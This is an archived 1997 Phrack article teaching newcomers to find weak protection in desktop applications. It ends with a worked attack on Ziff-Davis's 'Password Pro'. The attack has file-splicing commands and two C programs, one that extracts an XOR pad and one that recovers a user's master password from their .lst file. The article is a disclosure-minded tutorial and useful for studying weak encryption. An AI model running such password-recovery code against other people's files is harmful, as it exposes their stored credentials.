home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / zines / phrack2 / p50_12.txt < prev    next >
Encoding:
Text File  |  2003-06-11  |  21.7 KB  |  452 lines

  1.                                 .oO Phrack 50 Oo.
  2.  
  3.                             Volume Seven, Issue Fifty
  4.  
  5.                                      12 of 16
  6.  
  7.  
  8.                       PC Application Level Security
  9.  
  10.                             by
  11.  
  12.                        Sideshow Bob
  13.  
  14.  
  15. I. Introduction 
  16.  
  17.    In the past, hackers interested in security have focused most of their
  18. efforts in finding and exploiting security holes in networking related
  19. operating systems, protocols, and applications.  I would like to suggest
  20. another arena of hacking that might be of interest to emerging hackers. 
  21. Although the Internet is certainly a great place to hack, you can also
  22. find a world of hacking sitting right on the computer at your desk.  This
  23. article is really aimed at a broad and young audience, for cryptographers
  24. of tomorrow, not today.  
  25.  
  26.    The fundamental problem with the lack of security in applications today
  27. is that people just don't care.  Companies that produce security software
  28. do care about security, but most software available today has some
  29. component of security in them, written by programmers who do not
  30. understand or care about security.  When a consumer uses a piece of
  31. software that has advertised security features, they do not have the
  32. knowledge or power to determine if the security in that software is
  33. effective, or waiting to be exploited.  There are literally thousands of
  34. applications out there for PCs right now, and many of them have security
  35. problems just waiting to be discovered. 
  36.  
  37.   In this article, I hope to provide interested new hackers the motivation 
  38. and knowledge to go out and explore PC applications they have access to in
  39. order to determine if they have security problems.  Giving out exploits is
  40. definitely NOT the goal of this article, I decided to provide one example
  41. to show the process at work, but I leave it up to the readers to go out and
  42. hack for themselves.
  43.  
  44.   If you find security holes of your own in PC applications, I strongly
  45. encourage you to inform the companies involved, and post your findings in
  46. an appropriate public forum.  If you learn from this article, helping the
  47. security community by letting other people know about security problems in
  48. PC software is the greatest compliment you could give me. 
  49.   
  50.  
  51. II. Finding an Candidate
  52.  
  53.   Just exactly what I am talking about when I say PC application security? 
  54. First off, I am talking about mass consumer operating systems.  Unix and
  55. NT are being examined by many security people today in great depth for
  56. security holes, and there is definitely a good reason for that, but this
  57. article is focused on the computers sitting at most people's desks. 
  58. Windows and Mac-OS are both widely used legitimate operating systems. 
  59.  
  60.   Some security people might tell you if you care about security, don't
  61. run Windows '95.  That is an easy answer, it is far easier to build secure
  62. applications on top of more secure operating systems.  But that does not
  63. address the realistic security threats that exist on these operating
  64. systems.  The fact is, nobody is going to ruin your life, steal your
  65. money, or cause millions in harm solely because of a vulnerability in one
  66. of these programs.  But as a consumer, you should expect and DEMAND that
  67. when someone tells you their program is secure that they aren't flat out
  68. lying to your face.  When someone tells you your personal information you
  69. enter into a program is protected by a password, you should DEMAND that
  70. without that password, your data is protected from your family, your
  71. friends, and even a friendly visit from your local law enforcement agency. 
  72.  
  73.   What programs should you look for with security holes?  Quite simply,
  74. anything that claims to have any security in it.  The most obvious tip-off
  75. is anything with passwords.  In addition, anything that has users,
  76. restricts access, or claims to protect your data.  Encryption and
  77. authentication are big buzzwords that someone is messing with security. 
  78. Look on your hard drive, look in computer stores, look on the Internet for
  79. shareware and freeware (if its free, its ok if it lies about what it does?
  80. I don't think so.).  Not every program has any element of security in it,
  81. but lots do.  Not every program you find will have security holes, but if
  82. you spend enough time and look at enough programs, you are going to find a
  83. lot that do.  I would especially encourage you to not limit yourself to
  84. high-profile, popular applications.  Certainly those are viable
  85. candidates, but there are a lot more choices than that.  If you have found
  86. an application, now you are ready to hack! 
  87.  
  88.  
  89. III. Finding Vulnerabilities
  90.  
  91. A. Application Purpose
  92.  
  93.   You have found a candidate application, and now you want to find out if
  94. it is insecure.  The first thing you want to do is to learn how the
  95. program works.  The worst of the worst applications will allow you to
  96. subvert security directly from within the application.  An example of this
  97. was the first version of Microsoft "Bob".  After incorrectly entering your
  98. password too many times, Bob would wisely figure out that you forgot your
  99. password and ask you if you wanted to change it. 
  100.  
  101.   Determine what the goal of the security in the application is. 
  102. Generally this will be to protect sensitive information in the program. 
  103. For the candidate application, determine what information is being
  104. protected.  It might only be a small sub-set of the data, or perhaps all
  105. of it.  Often the product won't tell you what it is trying to protect, so
  106. you will need to do some digging inside the program to discover it.  Some
  107. programs might let anyone read data, but only authorized users modify it. 
  108. Other programs might let anyone enter in new data, but only authorized
  109. users read what has been entered.  Another program might let anyone read
  110. and enter in new data, but only let authorized users delete individual
  111. entries (in an insecure OS, anyone could delete the entire database, but
  112. that does not imply one could selectively remove information from a
  113. database). 
  114.  
  115. B. User Interaction
  116.  
  117.   Next, figure out all the different elements of the program that allow
  118. the user to interact with the security module of the program.  Where does
  119. it ask for usernames?  Where does it ask for passwords? Can I change a
  120. password?  Can I remove a password?  Can I password protect different
  121. parts of a file?  Do I have any options as to what kind of security is
  122. employed?  Can I disable security altogether?  Do I protect a file, a
  123. database, a user?  This is the typical user level interaction with the
  124. program.  I would not even attempt to start digging at a lower level of
  125. the program until you are an expert on how the program functions at the
  126. user interface level. 
  127.  
  128. C. Digging Deeper
  129.  
  130.   Now that you have comprehensively examined and understand the program at
  131. the normal user level, you are ready to start hacking, and that means
  132. figure out how the program works.  Now, if you are extremely fortunate,
  133. you may have source code to the program and will be able to simply read
  134. that source and fully understand how it works.  Another method for
  135. figuring out how the program works is to disassemble the program and read
  136. through the assembly code of the program as it executes.  This is a
  137. reasonable method and sometimes the best, but it requires a thorough
  138. understanding of assembly language and in order to make this article
  139. accessible to anyone interested, I am going to ignore that possibility. 
  140. If you are interested in doing so, I suggest picking up a good book on
  141. assembly and a high quality debugging tool. 
  142.  
  143.   If you have the most typical application of security in your
  144. application, the security is meant to protect some sensitive information. 
  145. Somewhere on your hard drive, in some form, is that sensitive information:
  146. Find It!  Usually this isn't hard, you install the application somewhere
  147. and if it is well behaved it doesn't put the data in some random location
  148. on your hard drive (but be forewarned, some do exactly to confuse you at
  149. this step).  Start out with a fresh installation of the software on your
  150. drive, and then enter some data into the application, and see what
  151. changed.  Now you should know what file(s) data gets written out to. 
  152.  
  153. D. File Modifications
  154.  
  155.   Look at the directory listings, sometimes the filename itself is a clue.
  156. Save directory listings out to a file, and then make some modification in
  157. the program (and save), and make another directory listing.  For each
  158. listing, write down what you did between that and the last listing.  Now
  159. you have a bunch of directory listings, which may or may not help you. 
  160. You need to try and interpret this data to tell if there is anything you
  161. can learn about how the program works.  In the worst case (for you),
  162. absolutely nothing will change.  Usually at least timestamps on the files
  163. will change, telling you what files were written to. 
  164.  
  165.   Does every user or database you enter get written to a new file which is
  166. the name of the user, or does it all get written to one file?  Does each
  167. new entry create a new file?  Does one file get bigger by a fixed amount
  168. of size for each entry you add?  Is each file created the same size?  Do
  169. you recognize the extension of the file? 
  170.  
  171. E. File Contents
  172.  
  173.   If you have made any progress at all by this point, you should be able
  174. to narrow down what file or files you need to examine in more depth.  The
  175. best thing to do is to just look at the files.  There are two things you
  176. need at this point:  a good hex viewer and a good diff utility.  The hex
  177. viewer should let you know look at both the ASCII text and binary contents
  178. of the file; for DOS something like the shareware List utility is good.  A
  179. diff utility will take 2 or more files as input and tell you what has
  180. changed between them.  This will automate telling you what has changed in
  181. the files when you make a change in the data.
  182.  
  183.   Quite simply, use these two utilities.  Take a look inside the files
  184. that you KNOW have to contain the sensitive data.  Now if a program is
  185. meant to protect you from reading the data and your hex viewer is sitting
  186. there and you see it all in front of your face, you have found a problem. 
  187. If you change an 'a' to a 'b' in the application and one byte of data is
  188. incremented one byte in the file, you are getting closer.  In many cases,
  189. you will need to enter in a lot of data into the application and compare
  190. numerous resulting files in order to figure out exactly what and where
  191. things change. 
  192.  
  193.   If data is being protected, the worst case (for you) is that it is
  194. actually being encrypted with a known secure algorithm.  Does that mean it
  195. is secure?  No, through thorough cryptanalysis, serious computing power,
  196. or implementation flaws, one might still be able to read the data.  But
  197. this sort of analysis is left to professionals in that field, and not the
  198. target of this article.  For you, you may have to find alternative methods
  199. to gain access which are probably far easier to begin with.  This might
  200. mean keystroke logging, social engineering, or simply trying to brute
  201. force attack the situation. 
  202.  
  203.   A more common situation is that some, but not all of the data is being
  204. encrypted.  You will very likely be able to extract sensitive information
  205. that the users of the program thinks is sensitive and should be secure,
  206. but the application programmer's decided was not part of the sensitive
  207. date.  Not clearly communicating what is being protected and what isn't
  208. should be an indication that everything is being protected, but that is
  209. very often not the case at all. 
  210.  
  211.   Another common situation is that the data is being poorly encrypted. 
  212. This is usually the case if you can't read the data in text in the files,
  213. but you are able to pick up clear patterns of what is being changed.  Good
  214. encryption should make data that looks 'random', if what you are looking
  215. at looks decidedly not random, there is a problem. 
  216.  
  217.  
  218. IV. Exploiting Vulnerabilities
  219.  
  220.   I will finish up this article with an example of how to work through this
  221. process from finding a program to exploiting the vulnerability.  Ziff-Davis 
  222. Interactive has been advertising and offering a free Windows utility known 
  223. as "Password Pro" for the sole purpose of letting Windows users maintain 
  224. passwords in a central database securely.  On the Internet today, people 
  225. (not to mention hackers) have accounts on numerous machines and managing the 
  226. passwords for all of these systems is not a trivial task.  With the increasing
  227. popularity of requiring registration to gain access to all the features of a 
  228. web site, users are accumulating more and more accounts than ever before.  
  229.  
  230.    In the past, users have taken on several solutions to this problem.  Some
  231. people use the same account name and password everywhere they go.  Obviously
  232. this presents a major security problem, as there is no way to guarantee the
  233. security of any one of the accounts that they use, much less all of them.  If
  234. their password is compromised, it is an even more daunting task to change the
  235. password on every site that is being used.  Still, this requires a user
  236. maintain a list of systems they have accounts on, and with more people using
  237. the net everyday, it is inevitable that some people will attempt to use the
  238. same account name.
  239.  
  240.    Another possible solution people have used is to maintain a cleartext file
  241. on their system, or a physical notebook that has a list of usernames and
  242. passwords.  Using paper and pen certainly will eliminate hackers over the
  243. Internet from gaining access, but if you have ever seen War Games you know
  244. that crackers are not above physically snooping around your home or office
  245. in order to find out passwords.  Leaving a plaintext file on your system is
  246. an even worse solution.  If you are running an insecure operating system
  247. such as DOS or Windows '95, anyone that can sit down at your computer will
  248. be able to read it.  Even with Windows NT or a Unix operating system, you do
  249. not want anyone that can gain administrator/root access to the machine to
  250. immediately gain access to every machine on the Internet that you have an
  251. account on.  
  252.  
  253.    While there is no perfect solution preventing someone with root access to 
  254. the box you are using from snooping your keystrokes or sniffing your sessions,
  255. it is certainly more work to do so than to simply read a cleartext file.  So,
  256. it is clear that for many users on the Internet today, there is a definite 
  257. use for the type of utility that ZD Net is providing.  Further, as will be
  258. explained in this article, there are definitely fairly secure methods of 
  259. writing and using such a database.  It is unfortunate that Ziff-Davis has 
  260. implemented this tool in such a manner as to actually make it easier for
  261. people to obtain users' account names and passwords.  The author of this
  262. utility was informed through appropriate channels of this vulnerability
  263. in his software and as of the release of this article, an upgraded version
  264. with a well known encryption algorithm should be available.  
  265.  
  266.    All of my work with regards to Password Pro was done by modifying accounts
  267. and entries through the normal operation of the program, and then viewing the
  268. changes that were made to the corresponding .lst files.  At no point did I
  269. attempt to disassemble the Password Pro code, although that would have 
  270. resulted in the same ultimate findings.
  271.  
  272.    For each user on a machine that wishes to use Password Pro, a file is
  273. created in the Password Pro directory with a filename of <username>.lst.  When
  274. you first start-up Password Pro, it prompts you for a username and password.
  275. When you enter a filename, it looks for a file with the .lst extension matching
  276. that username.  If it finds the file, it then reads the password that you are
  277. prompted for, and attempts to validate the password with the one stored in the
  278. file.  If the file does not exist, the user is asked if he wants to create a
  279. new account; if so he can then enter and confirm a password and a file is
  280. created.  
  281.  
  282.    The file format of the user .lst files is proprietary.  When the file is
  283. first created, it is 32 bytes in length.  Users can then add entries to the
  284. file which contain a system name, account name, password, and password 
  285. expiration.  Adding a single entry to a new .lst file increases the file size
  286. to 166 bytes.
  287.  
  288.    Viewing the file showed that the Password Pro password did not show up
  289. in plaintext anywhere in the file, nor did any of the passwords for the
  290. systems that users had entered.  System names and account names were however
  291. in plaintext; my first disappointment in examining the security of the program.
  292.  
  293.    My first thoughts with regards to the file format was simply that the
  294. password was stored in the first 32 bytes of the file, and the entries were
  295. stored in fixed length structures beyond that.  If each entry's password was
  296. actually encrypted with the password that was entered by the user, there would
  297. be no way to directly view the contents of the file.  At this point in time,
  298. I had no idea if this was the case or not, but if it proved to be true, there
  299. would still be other options available in attempting to read the entries, such
  300. as a dictionary attack.
  301.  
  302.    To test my first theory, I created a user, blue, that I would attempt to
  303. break the security on.  I used the password "password", obviously a poor
  304. choice for a real application but since I was not going to mount a dictionary
  305. attack at this point, it was irrelevant.  I added an entry for this user for
  306. a fictitious system, account name, and password.  I then created a user,
  307. hacker, with no password on his account, and on database entries.  On my
  308. filesystem I then had a 166 byte blue.lst file and a 32 byte hacker.lst file.
  309. In order to merge the two files into one, I used the commands:
  310.  
  311.      C:\PASSWORD> tail --bytes=134 blue.lst > blue.end
  312.      C:\PASSWORD> copy /b hacker.lst+blue.end > hacked.lst
  313.  
  314.    I then loaded up Password Pro and attempted the username 'hacked'.  It
  315. prompted for a password and when I attempted none, it prompted me again.  It
  316. was clear that cracking this program was not going to be quite that trivial.
  317.  
  318.    It was clear that all of the information necessary to attack the password
  319. was being stored somewhere in those first 32 bytes.  The easiest way to
  320. scramble the password would be a bit-shift (rot-13) or to XOR the password
  321. with a single character. If this was true, the password 'password' should
  322. show the two consecutive 's' characters as being the same value.  I looked
  323. through the hex dump of the file to see if this appeared to be true, and
  324. it wasn't.
  325.  
  326.    The next complication in encryption is to XOR the files with a 'pad'.  This
  327. would mean that each letter in the password would be XOR-ed with a different
  328. byte, up to the length of the pad, and then it would start over XORing with
  329. the first letter of the pad, and so on.  If this were the case, changing one
  330. letter in my password would only change one byte in the file.  I created a
  331. password of 'pastword' and diffed the files; only 1 byte changed.  This looked
  332. promising, so it was time to extract the 'pad' from the file.  For an eight
  333. letter password, I need to find out what the 8 bytes being used to XOR the
  334. file are.  The way to do this is to simply take a file the program creates
  335. with a known password, and XOR the file with the password, resulting in the 
  336. pad.  This reverses what the program originally did, which was XOR the 
  337. password with the pad to create the file.
  338.  
  339. <++> pwp-pad.c
  340. /* pwp-pad.c - ZD Password Pro for Windows Pad Reader (1/14/97)
  341.  *
  342.  * Syntax: pwp-pad filename.lst password
  343.  *
  344.  * Given a database file created by Password Pro and the password entered to
  345.  * protect the file, outputs the pad being used by Password Pro to encrypt
  346.  * files.
  347.  *
  348.  */
  349.  
  350. #include <stdio.h>
  351.  
  352. main(int argc, char **argv) {
  353.   FILE *fpass;
  354.   char pbuf[32], inbuf[32];
  355.   char *password, *pptr;
  356.   int i;
  357.  
  358.   /* check command line arguments */
  359.   if(argc < 3) {
  360.     fprintf(stderr, "Syntax: %s filename.lst password\n", argv[0]);
  361.     exit(1);
  362.   }
  363.  
  364.   password = argv[2];
  365.  
  366.   /* open the file */
  367.   fpass = fopen(argv[1],"r");
  368.   if(!fpass) {
  369.     fprintf(stderr, "Unable to open file %s\n", argv[1]);
  370.     exit(1);
  371.   }
  372.  
  373.   /* read from file */
  374.   if(fread(pbuf, 1, 32, fpass) != 32) {
  375.     fprintf(stderr, "Unable to read password entry from file.\n");
  376.     exit(1);
  377.   }
  378.  
  379.   /* output pad by xor file contents with password from command line */
  380.   printf("Pad: ");
  381.   for(i=0; i<32 && pbuf[i]; i++) {
  382.     pbuf[i] ^= password[i];
  383.     printf("%x ", 0xff & pbuf[i]);
  384.   }
  385.   printf("\n");
  386. }
  387. <-->
  388.  
  389.    Now that we have the pad, the next step is to use that pad to actually
  390. crack the contents of someone else's file.  The way we do that is by taking
  391. someone's lst file that we don't know the password for, and XORing the start
  392. of the file with the pad.  This will result in the password that they stored
  393. the file with, which we can then enter into the program to view the contents.
  394.  
  395. <++>
  396. /* pwp-crack.c - ZD Password Pro for Windows Cracker (1/14/97)
  397.  *
  398.  * Syntax: pwp-crack filename.lst
  399.  *
  400.  * Outputs the password entered by the user of Password Pro to protect others
  401.  * from reading the contents of their account and password database.
  402.  *
  403.  */
  404.  
  405. #include <stdio.h>
  406.  
  407. main(int argc, char **argv) {
  408.   FILE *fin;
  409.   char inbuf[32];
  410.   char pad[] = { 0x38, 0x17, 0x2b, 0x8c, 0x59, 0xaf, 0xe6, 0x03, 0x61, 0x85 };
  411.   int i;
  412.  
  413.   if(argc < 2) {
  414.     fprintf(stderr, "Syntax: %s filename.lst\n\n", argv[0]);
  415.     exit(1);
  416.   }
  417.  
  418.   fin = fopen(argv[1],"r");
  419.   if(!fin) {
  420.     fprintf(stderr, "Unable to open %s for reading\n", argv[1]);
  421.     exit(1);
  422.   }
  423.  
  424.   if(fread(inbuf, 1, 32, fin) != 32) {
  425.     fprintf(stderr, "Unable to read password from file.\n");
  426.     exit(1);
  427.   }
  428.   
  429.   printf("Password: ");
  430.   for(i=0; i<32 && inbuf[i]; i++) {
  431.     inbuf[i] ^= pad[i % sizeof(pad)];
  432.     printf("%c", inbuf[i]);
  433.   }
  434.   printf("\n");
  435. }
  436.  
  437. <-->
  438.  
  439.  
  440. V.  Conclusion
  441.  
  442.    If you are interested in any of this, I strongly encourage you to go out
  443. and find holes and write exploits on your own.  I'm sure Phrack would love 
  444. to hear about any findings you make, so let us know how you are doing.
  445.  
  446.    If you are a software developer and are interested in avoiding become a 
  447. victim of one of Phrack's budding hackers, or just want to learn more about
  448. practical crytography, I suggest you pick up a copy of Bruce Schneier's 
  449. Applied Cryptography available at any big bookstore.  
  450.    
  451. EOF
  452.